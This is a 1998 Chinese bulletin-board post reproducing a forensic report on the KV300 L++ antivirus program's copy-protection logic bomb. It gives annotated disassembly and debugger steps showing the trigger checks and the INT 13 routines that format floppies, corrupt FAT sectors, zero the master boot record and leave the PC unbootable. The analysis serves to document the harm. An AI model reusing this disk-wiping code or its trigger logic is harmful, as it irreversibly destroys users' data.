发信人: jmbomb() 
整理人: (1998-08-12 13:06:33), 站内信件
 | 
 
 
            资料:一份帮助认定江民KV300违法活动的分析报告
      1997年夏末,江民逻辑炸弹丑闻彻底败露。为了挽回影响,当事人利用种种 手段说情或阻挠公安部门执法。其中包括了通过关系向公安部某领导说情,以及 找关系到电视台阻挠关于逻辑炸弹的节目的播出,并通过媒体为其违法行为辩护, 并将逻辑炸弹宣传为反盗版的英雄。这一切使得公安部计算机安全监察司和其他 部门的有关领导拍案而起。在上级的监督和舆论的强大压力下,北京市公安局计 算机安全监察处排除了种种干扰,终于作出了最后的结论。随后进行的全国反病 毒软件测试在天津进行。KV300 的低劣质量在测试中暴露无疑。
      下面的这份报告就是当时协助专家进行分析验证的最权威的一份报告。这份 报告是首次披露。今天我们看到这些就如同听到了警钟长鸣。
 
                       KV300 L++有害数据分析
  实验环境 ========
  计算机环境:486DX4/100 100%兼容机、MS-DOS 6.22操作系统、BIOS中 软盘交换选项(Floppy Swap)为禁止(Diable).
  程序跟踪工具:Softice 2.80 for MS-DOS,缺省配置(可删除 c:\si\soft-ice.dat)
  软件设置: config.sys device=c:\si\s-ice.exe (Softice 2.80位于C:\SI目录中) device=c:\dos\himem.exe (同时不能安装其它内存管理软件)
  autoexec.bat path=c:\si;...
  准备工作: mk300v4 加工普通1.44M磁盘,KV300L++(是江民公司在网上发布的两个 KV300 L++中较早的那一个版本,另一个版本同样也具有有害数据,其触发条 件、分析手段和结果与此完全相同) KV300.EXE(83316字节),拷贝kv300整个软件到c:\KV300并cd\KV300.
  操作过程 C:\KV300>ldr KV300.EXE[回车] :win[回车] :wr[回车] :wc 25[回车] :bpm cs+ee1:27dc x[回车] :g[回车] 获得下面的程序段(1),(跟踪获得的程序段地址会由于计算机的不同而有差异) :g 2b2 获得下面的程序段(2) :u 2d7[回车] 获得下面的程序段(3) :g 2fd[回车] 获得下面的程序段(4) :u 320[回车] 获得下面的程序段(5) :u[回车] 获得下面的程序段(6) :u[回车] 获得下面的程序段(7)
  注:上面的程序段在Softice中可以通过屏幕打印来获得。
 
 
  KV300 L++有害代码采集结果 =========================
  程序段(1) AX=0001 BX=CD72 CX=50F1 DX=0001 SP=01D6 BP=0000 SI=3B02  DI=0003 FS=187 GS=0000 DS=2864 ES=2864 SS=42AD CS=385B IP=27DC o d I s Z a  P c t 385B:27DA EBC6          JMP     27A2 385B:27DC 81EB0001      SUB     BX,0100 385B:27E0 268B970008    MOV     DX,ES:[BX+0800] 385B:27E5 D1C2          ROL     DX,1 385B:27E7 D1C2          ROL     DX,1 385B:27E9 D0E2          SHL     DL,1 385B:27EB 89161FCC      MOV     [CC1F],DX 385B:27EF 1E            PUSH    DS 385B:27F0 33C0          XOR     AX,AX 385B:27F2 8ED8          MOV     DS,AX 385B:27F4 C606250502    MOV     BYTE PTR [0525],02 385B:27F9 1F            POP     DS 385B:27FA CB            RETF 385B:27FB 9AB8572D3D    CALL    3D2D:57B8 385B:2800 8D36003B      LEA     SI,[3B00] 385B:2804 BB0000        MOV     BX,0000 385B:2807 803E1A7200    CMP     BYTE PTR [721A],00 385B:280C 7403          JZ      2811 385B:280E BB0005        MOV     BX,0500 385B:2811 817804B104    CMP     WORD PTR [BX+SI+04],04B1
  程序段(2) AX=0001 BX=CD72 CX=50F1 DX=0001 SP=01D6 BP=0000 SI=3B02  DI=0003 FS=187 GS=0000 DS=2864 ES=2864 SS=42AD CS=385B IP=02B2 o d I s Z a  P c t 385B:02AF E92901        JMP     03DB 385B:02B2 8B07          MOV     AX,[BX]                    DS:CD72=4E4E 385B:02B4 268B970008    MOV     DX,ES:[BX+0800] 385B:02B9 D1C2          ROL     DX,1 385B:02BB D1C2          ROL     DX,1 385B:02BD D0E2          SHL     DL,1 385B:02BF 8916EA71      MOV     [71EA],DX 385B:02C3 3D4E4E        CMP     AX,4E4E 385B:02C6 7527          JNZ     02EF 385B:02C8 3B4702        CMP     AX,[BX+02] 385B:02CB 751D          JNZ     02EF 385B:02CD 3A4704        CMP     AL,[BX+04] 385B:02D0 7522          JNZ     02EF 385B:02D2 3A4705        CMP     AL,[BX+05] 385B:02D5 7418          JZ      02EF 385B:02D7 B80F05        MOV     AX,050F 385B:02DA BB0000        MOV     BX,0000 385B:02DD B90100        MOV     CX,0001 385B:02E0 BA0000        MOV     DX,0000 385B:02E3 CD13          INT     13
  程序段(3) AX=0001 BX=CD72 CX=50F1 DX=0001 SP=01D6 BP=0000 SI=3B02  DI=0003 FS=187 GS=0000 DS=2864 ES=2864 SS=42AD CS=385B IP=02B2 o d I s Z a  P c t 385B:02D7 B80F05        MOV     AX,050F 385B:02DA BB0000        MOV     BX,0000 385B:02DD B90100        MOV     CX,0001 385B:02E0 BA0000        MOV     DX,0000 385B:02E3 CD13          INT     13 385B:02E5 B80F05        MOV     AX,050F 385B:02E8 B201          MOV     DL,01 385B:02EA CD13          INT     13 385B:02EC E9F701        JMP     04E6 385B:02EF 8B4703        MOV     AX,[BX+03] 385B:02F2 3B4706        CMP     AX,[BX+06] 385B:02F5 7406          JZ      02FD 385B:02F7 E9EC01        JMP     04E6 385B:02FA E9DE00        JMP     03DB 385B:02FD A11FCC        MOV     AX,[CC1F] 385B:0300 3B06EA71      CMP     AX,[71EA] 385B:0304 74F4          JZ      02FA 385B:0306 3DC2E1        CMP     AX,[E1C2] 385B:0309 74EF          JZ      02FA 385B:030B 3D0000        CMP     AX,0000
  程序段(4) AX=4E4E BX=CD72 CX=50F1 DX=E1C2 SP=01D6 BP=0000 SI=3B02  DI=0003 FS=187 GS=0000 DS=2864 ES=2864 SS=42AD CS=385B IP=02FD o d I s Z a  P c t 385B:02FA E9DE00        JMP     03DB 385B:02FD A11FCC        MOV     AX,[CC1F]                  DS:CC1F=DBB6 385B:0300 3B06EA71      CMP     AX,[71EA] 385B:0304 74F4          JZ      02FA 385B:0306 3DC2E1        CMP     AX,E1C2 385B:0309 74EF          JZ      02FA 385B:030B 3D0000        CMP     AX,0000 385B:030E 74EA          JZ      02FA 385B:0310 813EEA71C2E1  CMP     WORD PTR [71EA],E1C2 385B:0316 75E2          JNZ     02FA 385B:0318 813E4ACDE5E5  CMP     WORD PTR [CD4A],E5E5 385B:031E 74DA          JZ      02FA 385B:0320 B80F02        MOV     AX,020F 385B:0323 8D1E72CD      LEA     BX,[CD72] 385B:0327 B90100        MOV     CX,0001 385B:032A BA8001        MOV     DX,0180 385B:032D CD13          INT     13 385B:032F B90020        MOV     CX,2000 385B:0332 FE07          INC     BYTE PTR [BX] 385B:0334 43            INC     BX
  程序段(5) AX=4E4E BX=CD72 CX=50F1 DX=E1C2 SP=01D6 BP=0000 SI=3B02  DI=0003 FS=187 GS=0000 DS=2864 ES=2864 SS=42AD CS=385B IP=02FD o d I s Z a  P c t 385B:0320 B80F02        MOV     AX,020F 385B:0323 8D1E72CD      LEA     BX,[CD72] 385B:0327 B90100        MOV     CX,0001 385B:032A BA8001        MOV     DX,0180 385B:032D CD13          INT     13 385B:032F B90020        MOV     CX,2000 385B:0332 FE07          INC     BYTE PTR [BX] 385B:0334 43            INC     BX 385B:0335 E2FB          LOOP    0332  385B:0337 B80F03        MOV     AX,030F 385B:033A 8D1E72CD      LEA     BX,[CD72] 385B:033E B90100        MOV     CX,0001 385B:0341 CD13          INT     13 385B:0343 B80F02        MOV     AX,020F 385B:0346 8D1E72CD      LEA     BX,[CD72] 385B:034A B90400        MOV     CX,0004 385B:034D BA8003        MOV     DX,0380 385B:0350 CD13          INT     13 385B:0352 B90020        MOV     CX,2000 385B:0355 FE07          INC     BYTE PTR [BX]
  程序段(6) AX=4E4E BX=CD72 CX=50F1 DX=E1C2 SP=01D6 BP=0000 SI=3B02  DI=0003 FS=187 GS=0000 DS=2864 ES=2864 SS=42AD CS=385B IP=02FD o d I s Z a  P c t 385B:0357 43            INC     BX 385B:0358 E2FB          LOOP    0355 385B:035A B80F03        MOV     AX,030F 385B:035D 8D1E72CD      LEA     BX,[CD72] 385B:0361 B90400        MOV     CX,0004 385B:0364 CD13          INT     13 385B:0366 B80202        MOV     AX,0202 385B:0369 8D1E72CD      LEA     BX,[CD72] 385B:036D B90100        MOV     CX,0001 385B:0370 BA8000        MOV     DX,0080 385B:0373 CD13          INT     13 385B:0375 B90002        MOV     CX,0200 385B:0378 26C7070000    MOV     WORD PTR ES:[BX],0000 385B:037D 83C302        ADD     BX,+02 385B:0380 E2F6          LOOP    0378 385B:0382 8D1E72CD      LEA     BX,[CD72] 385B:0386 26C687E20104  MOV     BYTE PTR ES:[BX+01E2],04 385B:038C 26C687F00102  MOV     BYTE PTR ES:[BX+01F0],02 385B:0392 26C687F20105  MOV     BYTE PTR ES:[BX+01F2],05 385B:0398 26C687FB0150  MOV     BYTE PTR ES:[BX+01FB],50
  程序段(7) 385B:039E 26C687FE0155AA     MOV    WORD PTR ES:[BX+01FE],AA55 385B:03A5 26C687E20304       MOV    BYTE PTR ES:[BX+03E2],04 385B:03AB 26C687F00302       MOV    BYTE PTR ES:[BX+03F0],02 385B:03B1 26C687F20305       MOV    BYTE PTR ES:[BX+03F2],05 385B:03B7 26C687FB0350       MOV    BYTE PTR ES:[BX+03FB],50 385B:03BD 26C687FE0355AA     MOV    WORD PTR ES:[BX+03FE],AA55 385B:03C4 B80203        MOV     AX,0302 385B:03C7 8D1E72CD      LEA     BX,[CD72] 385B:03CB B90100        MOV     CX,0001 385B:03CE BA8000        MOV     DX,0080 385B:03D1 CD13          INT     13 385B:03D3 9A00020000    CALL    0000:0200 385B:03D8 E90B01        JMP     04E6 385B:03DB BF0300        MOV     DI,0003 385B:03DE B601          MOV     DH,01 385B:03E0 8A1693CC      MOV     DL,[CC93] 385B:03E4 8D1E72CD      LEA     BX,[CD72] 385B:03E8 B9C250        MOV     CX,50C2 385B:03EB C78702043412  MOV     WORD PTR [BX+0402],1234 385B:03F1 B80102        MOV     AX,0201
 
  KV300 L++有害代码分析 =====================
  ;下述程序取自程序段(1),其主要目的是检测加密磁道的开始就计算80道0 ;面指纹数据偏移量700h处的变换结果,并将之保存到[CC1F]中,为后面的 ;判断对比作准备
  385B:27DC 81EB0001      SUB     BX,0100
  ;取出80道0面指纹数据偏移量700h处的值
  385B:27E0 268B970008    MOV     DX,ES:[BX+0800]
  ;进行简单变换
  385B:27E5 D1C2          ROL     DX,1 385B:27E7 D1C2          ROL     DX,1 385B:27E9 D0E2          SHL     DL,1
  ;保存变换结果于[CC1F]中,只有对于后期KV300磁盘,DX中的值才是E1C2。
  385B:27EB 89161FCC      MOV     [CC1F],DX
  ;下面的各段程序分别取自程序段(2)~(7)。
  ;KV300 L++鉴别原版磁盘的标准: ;早期KV300磁盘:80道0面指纹数据偏移量800h和700h处都不是7878h ;后期KV300磁盘:80道0面指纹数据偏移量800h和700h处都是7878h ;MK300V4加工的磁盘:80道0面指纹数据偏移量仅在800h处是7878h ;值7878h进行上述程序中的简单变换的结果为E1C2,该值是KV300 L++判断 ;软盘是否为原版磁盘的主要标准
  385B:02AF E92901        JMP     03DB 385B:02B2 8B07          MOV     AX,[BX]                DS:CD72=4E4E
  ;取得80道0面指纹数据偏移量800h处的数据,判定80道的根据是当前的 ;CH寄存器的值
  385B:02B4 268B970008    MOV     DX,ES:[BX+0800]
  ;对该数据作简单的变换
  385B:02B9 D1C2          ROL     DX,1 385B:02BB D1C2          ROL     DX,1 385B:02BD D0E2          SHL     DL,1
  ;保存变换结果于[71EA],对于早期KV300磁盘,变换结果不是E1C2h, ;对于MK300V4加工的磁盘和后期KV300版本都是E1C2h。
  385B:02BF 8916EA71      MOV     [71EA],DX
  ;下面的代码是判断MK300V4以外的另一种仿真KV300磁盘的加工工具所生成的 ;磁盘的,一旦条件满足则对两个软驱中假如存在的任何磁盘实施格式化操作。 ;这个过程对数据进行了不可恢复的破坏。
  ;判断条件是否满足,触发条件是第80道0面的指纹数据前5个为4E,而第六个 ;不是。
  385B:02C3 3D4E4E        CMP     AX,4E4E 385B:02C6 7527          JNZ     02EF 385B:02C8 3B4702        CMP     AX,[BX+02] 385B:02CB 751D          JNZ     02EF 385B:02CD 3A4704        CMP     AL,[BX+04] 385B:02D0 7522          JNZ     02EF 385B:02D2 3A4705        CMP     AL,[BX+05] 385B:02D5 7418          JZ      02EF
  ;条件满足时,对两个软驱中的磁盘实施格式化0头0道的破坏性操作
  385B:02D7 B80F05        MOV     AX,050F 385B:02DA BB0000        MOV     BX,0000 385B:02DD B90100        MOV     CX,0001 385B:02E0 BA0000        MOV     DX,0000 385B:02E3 CD13          INT     13 385B:02E5 B80F05        MOV     AX,050F 385B:02E8 B201          MOV     DL,01 385B:02EA CD13          INT     13 385B:02EC E9F701        JMP     04E6
  385B:02EF 8B4703        MOV     AX,[BX+03] 385B:02F2 3B4706        CMP     AX,[BX+06] 385B:02F5 7406          JZ      02FD 385B:02F7 E9EC01        JMP     04E6 385B:02FA E9DE00        JMP     03DB
  ;下面的代码用于判断软盘是否由MK300V4加工而成。
  ;如前所述,[CC1F]中存放的值是前面程序存入的一个标志,该标志存放的是 ;80道0面指纹数据偏移量700h处的变换结果。对于早期KV300磁盘和MK300V4 ;加工的磁盘,变换结果不是E1C2h,对于后期KV300版本则是E1C2h。[71EA] ;中存放的值是前面程序存入的一个标志,该标志存放的是80道0面指纹数据 ;偏移量800h处的变换结果。对于早期KV300磁盘,变换结果不是E1C2h,对于 ;MK300V4加工的磁盘和后期KV300版本都是E1C2h。
              早期的KV300磁盘     后期的KV300磁盘     MK300V4加工的盘 ------------------------------------------------------------------- [CC1F]/o700    !=E1C2               =E1C2               !=E1C2 [71EA]/o800    !=E1C2               =E1C2               =E1C2
  385B:02FD A11FCC        MOV     AX,[CC1F] 385B:0300 3B06EA71      CMP     AX,[71EA] 385B:0304 74F4          JZ      02FA 385B:0306 3DC2E1        CMP     AX,E1C2 385B:0309 74EF          JZ      02FA 385B:030B 3D0000        CMP     AX,0000 385B:030E 74EA          JZ      02FA 385B:0310 813EEA71C2E1  CMP     WORD PTR [71EA],E1C2 385B:0316 75E2          JNZ     02FA 385B:0318 813E4ACDE5E5  CMP     WORD PTR [CD4A],E5E5 385B:031E 74DA          JZ      02FA
  ;KV300 L++有害数据实施破坏的部分
  ;读取从0道1面1扇区开始的15个扇区的数据,通常是C盘的引导记录和第 ;一份文件分配表的开始部分
  385B:0320 B80F02        MOV     AX,020F 385B:0323 8D1E72CD      LEA     BX,[CD72] 385B:0327 B90100        MOV     CX,0001 385B:032A BA8001        MOV     DX,0180 385B:032D CD13          INT     13
  ;对刚才得到的数据进行变换,即每个字节加1
  385B:032F B90020        MOV     CX,2000 385B:0332 FE07          INC     BYTE PTR [BX] 385B:0334 43            INC     BX 385B:0335 E2FB          LOOP    0332 
  ;将变换后的数据写回原来的位置
  385B:0337 B80F03        MOV     AX,030F 385B:033A 8D1E72CD      LEA     BX,[CD72] 385B:033E B90100        MOV     CX,0001 385B:0341 CD13          INT     13
  ;读取从0道3面4扇区开始的15个扇区的数据,对于较大的硬盘,仍然在 ;第一份文件分配表内,而对于较小的硬盘则有可能在第二份文件分配表内甚至 ;在目录区或数据区内。
  385B:0343 B80F02        MOV     AX,020F 385B:0346 8D1E72CD      LEA     BX,[CD72] 385B:034A B90400        MOV     CX,0004 385B:034D BA8003        MOV     DX,0380 385B:0350 CD13          INT     13
  ;对刚才得到的数据进行变换,即每个字节加1
  385B:0352 B90020        MOV     CX,2000 385B:0355 FE07          INC     BYTE PTR [BX] 385B:0357 43            INC     BX 385B:0358 E2FB          LOOP    0355
  ;将变换后的数据写回原来的位置
  385B:035A B80F03        MOV     AX,030F 385B:035D 8D1E72CD      LEA     BX,[CD72] 385B:0361 B90400        MOV     CX,0004 385B:0364 CD13          INT     13
  ;读取硬盘的0道0面1扇区和0道0面2扇区,其中0道0面1扇区是硬盘 ;的主引导程序和硬盘分区表所在的扇区(即主引导扇区),0道0面2扇区对于 ;典型MS-DOS分区没有实质性的作用,但通常可能被某些备份程序用于备份主 ;引导扇区或其他重要数据,而对于其他分区类型则一般是重要数据的存放区域。
  385B:0366 B80202        MOV     AX,0202 385B:0369 8D1E72CD      LEA     BX,[CD72] 385B:036D B90100        MOV     CX,0001 385B:0370 BA8000        MOV     DX,0080 385B:0373 CD13          INT     13
  ;清除读取的部分。注意,这些不可恢复的清除操作是在没有任何备份的前提下 ;进行的,使得受损害的硬盘仅当属于典型MS-DOS分区时,才有可能进行重建 ;而不是从某个备份中进行恢复。
  385B:0375 B90002        MOV     CX,0200 385B:0378 26C7070000    MOV     WORD PTR ES:[BX],0000 385B:037D 83C302        ADD     BX,+02 385B:0380 E2F6          LOOP    0378
  ;下面的代码负责导致计算机不能从硬盘引导,也不能从高版本的MS-DOS软盘 ;上启动这个效果和合肥1号(或称所谓的“8888变形鬼魂”病毒)发作的结果相似。
  385B:0382 8D1E72CD      LEA     BX,[CD72] 385B:0386 26C687E20104  MOV     BYTE PTR ES:[BX+01E2],04 385B:038C 26C687F00102  MOV     BYTE PTR ES:[BX+01F0],02 385B:0392 26C687F20105  MOV     BYTE PTR ES:[BX+01F2],05 385B:0398 26C687FB0150  MOV     BYTE PTR ES:[BX+01FB],50 385B:039E 26C687FE0155AA     MOV    WORD PTR ES:[BX+01FE],AA55 385B:03A5 26C687E20304       MOV    BYTE PTR ES:[BX+03E2],04 385B:03AB 26C687F00302       MOV    BYTE PTR ES:[BX+03F0],02 385B:03B1 26C687F20305       MOV    BYTE PTR ES:[BX+03F2],05 385B:03B7 26C687FB0350       MOV    BYTE PTR ES:[BX+03FB],50 385B:03BD 26C687FE0355AA     MOV    WORD PTR ES:[BX+03FE],AA55 385B:03C4 B80203        MOV     AX,0302 385B:03C7 8D1E72CD      LEA     BX,[CD72] 385B:03CB B90100        MOV     CX,0001 385B:03CE BA8000        MOV     DX,0080 385B:03D1 CD13          INT     13
  ;造成死机,并且从此计算机无法引导。
  385B:03D3 9A00020000    CALL    0000:0200
 
  小   结 ==========
  1. 江民公司曾经发布过两个KV300 L++版本,这两个版本在有害数据方面几 乎没有差异,在相同的触发条件下对用户的侵害结果也相同;
  2. 在支持软盘驱动器SWAP的计算机上,当设置成驱动器SWAP状态时,在少 数计算机上仿真磁盘有可能不会触发KV300 L++的破坏行为;如果在安装 有QEMM等高级内存管理软件的硬盘中启动KV300,KV300本身可能根本 无法运行起来,其破坏程序也就不能表现;
  3. 尽管看上去KV300 L++的破坏程序主要针对MK300V4加工的磁盘,但是 构成KV300 L++破坏行为的触发条件不是单一的,KV300 L++破坏程序及 其过于简单的触发机制的客观存在给其它外界诱导因素触发该破坏程序带 来了众多可能性,例如磁盘的不稳定性、驻留辅助磁盘管理程序的影响、具 有针对性的病毒的侵害、KV300原版磁盘的指纹数据无意中被更改都可能 成为触发的因素;
  4. 类似MK300V4加工的特殊软盘不会引发KV300 L++在破坏数据中执行格 式化软盘的操作,这个破坏是由另一种仿真磁盘或其它外界因素诱导出来 的,而软盘被格式化后,数据是根本无法复原的;
  5. 在启动Softice的ldr程序装入kv300后,使用“bpint 13”命令进 行跟踪,在有限的几步之后即可跟踪到实施破坏的程序段,由此可以明确证 实在实施破坏之前,KV300 L++对于硬盘主引导扇区及其后面的一个扇区 没有进行任何备份;
  6. 从上述分析中可以明确地看出,KV300 L++对硬盘主引导扇区及其后一个 扇区所实施的破坏是不可逆的。尽管对仅有标准DOS分区的硬盘,主引导 扇区可以重建,但是也不能保证重建结果与原有数据完全一致。KV300 L++ 对硬盘主引导扇区后一个扇区所实施的破坏则完全不可能重建。这使得硬盘 上可能装有Windows NT分区、OS/2分区、UNIX/XENIX/LINUX分区等 非DOS分区,以及由DM、ADM、SYSTEM COMMANDER等高级硬盘管理软 件所管理的DOS分区的硬盘上的主引导数据彻底丢失。造成的后果就是硬 盘上的一切数据完全无法恢复。
 
  -- ※ 来源:.广州网易 BBS bbs.nease.net.[FROM: 202.96.151.219]
  | 
 
 
 |